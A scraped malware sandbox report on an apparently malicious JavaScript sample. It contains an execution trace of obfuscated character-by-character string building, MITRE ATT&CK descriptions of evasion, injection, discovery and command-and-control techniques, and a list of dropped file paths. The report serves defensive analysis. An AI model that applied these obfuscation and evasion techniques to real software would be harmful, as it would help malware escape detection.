1376	kmhvzbg = "d";
1377	kmhvzbg = "E";
1378	kmhvzbg = "n";
1379	kmhvzbg = "x";
1380	kmhvzbg = "B";
1381	kmhvzbg = "C";
1382	kmhvzbg = "f";
1383	kmhvzbg = "b";
1384	cjlhtkgs = "n";
1385	cjlhtkgs = "c";
1386	cjlhtkgs = "C";
1387	cjlhtkgs = "C";
1388	cjlhtkgs = "P";
1389	cjlhtkgs = "D";
1390	cjlhtkgs = "n";
1391	cjlhtkgs = "I";
1392	cjlhtkgs = "a";
1393	cjlhtkgs = "q";
1394	cjlhtkgs = "T";
1395	cjlhtkgs = "o";
1396	cjlhtkgs = "q";
1397	cjlhtkgs = "U";
1398	cjlhtkgs = "E";
1399	cjlhtkgs = "1";
1400	obogabw = "Y";
1401	obogabw = "D";
1402	obogabw = "c";
1403	obogabw = "W";
1404	obogabw = "C";
1405	obogabw = "S";
1406	obogabw = "W";
1407	obogabw = "H";
1408	obogabw = "I";
1409	obogabw = "E";
1410	obogabw = "x";
1411	obogabw = "X";
1412	obogabw = "X";
1413	obogabw = "O";
1414	obogabw = "g";
1415	obogabw = "R";
1416	obogabw = "W";
1417	obogabw = "a";
1418	obogabw = "g";
1419	obogabw = "H";
1420	obogabw = "j";
1421	obogabw = "f";
1422	obogabw = "b";
1423	obogabw = "h";
1424	hidovgwxz = "G";
1425	hidovgwxz = "X";
1426	hidovgwxz = "u";
1427	hidovgwxz = "K";
1428	hidovgwxz = "K";
1429	hidovgwxz = "y";
1430	hidovgwxz = "b";
1431	hidovgwxz = "N";
1432	hidovgwxz = "i";
1433	hidovgwxz = "J";
1434	hidovgwxz = "v";
1435	hidovgwxz = "Z";
1436	hidovgwxz = "j";
1437	hidovgwxz = "P";
1438	hidovgwxz = "O";
1439	hidovgwxz = "d";
1440	hidovgwxz = "y";
1441	hidovgwxz = "Z";
1442	hidovgwxz = "q";
1443	hidovgwxz = "c";
1444	hidovgwxz = "q";
1445	hidovgwxz = "T";
1446	hidovgwxz = "S";
1447	hidovgwxz = "G";
1448	hidovgwxz = "a";
1449	hidovgwxz = "X";
1450	hidovgwxz = "M";
1451	hidovgwxz = "W";
1452	hidovgwxz = "L";
1453	hidovgwxz = "J";
1454	hidovgwxz = "b";
1455	hidovgwxz = "r";
1456	hidovgwxz = "N";
1457	hidovgwxz = "3";
1458	feialhxs = "C";
1459	feialhxs = "S";
1460	feialhxs = "L";
1461	feialhxs = "c";
1462	feialhxs = "m";
1463	feialhxs = "p";
1464	feialhxs = "D";
1465	feialhxs = "T";
1466	feialhxs = "K";
1467	feialhxs = "J";
1468	feialhxs = "s";
1469	feialhxs = "r";
1470	feialhxs = "h";
1471	feialhxs = "h";
1472	feialhxs = "b";
1473	feialhxs = "e";
1474	feialhxs = "f";
1475	feialhxs = "w";
1476	feialhxs = "d";
1477	feialhxs = "L";
1478	feialhxs = "b";
1479	feialhxs = "r";
1480	feialhxs = "Z";
1481	feialhxs = "X";
1482	feialhxs = "B";
1483	feialhxs = "U";
1484	feialhxs = "C";
1485	feialhxs = "d";
1486	feialhxs = "o";
1487	feialhxs = "e";
1488	feialhxs = "X";
1489	feialhxs = "T";
1490	feialhxs = "v";
1491	feialhxs = "i";
1492	feialhxs = "p";
1493	feialhxs = "K";
1494	feialhxs = "F";
1495	feialhxs = "\\";
1496	bmyqmq ( );	bmyqmq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1446217142313155154.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e97174d-4c33-49ab-9baf-4e489b383a97.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9b501567-f696-48dd-91fb-b5069ca14a91.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF400d37.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1446217142313155154.js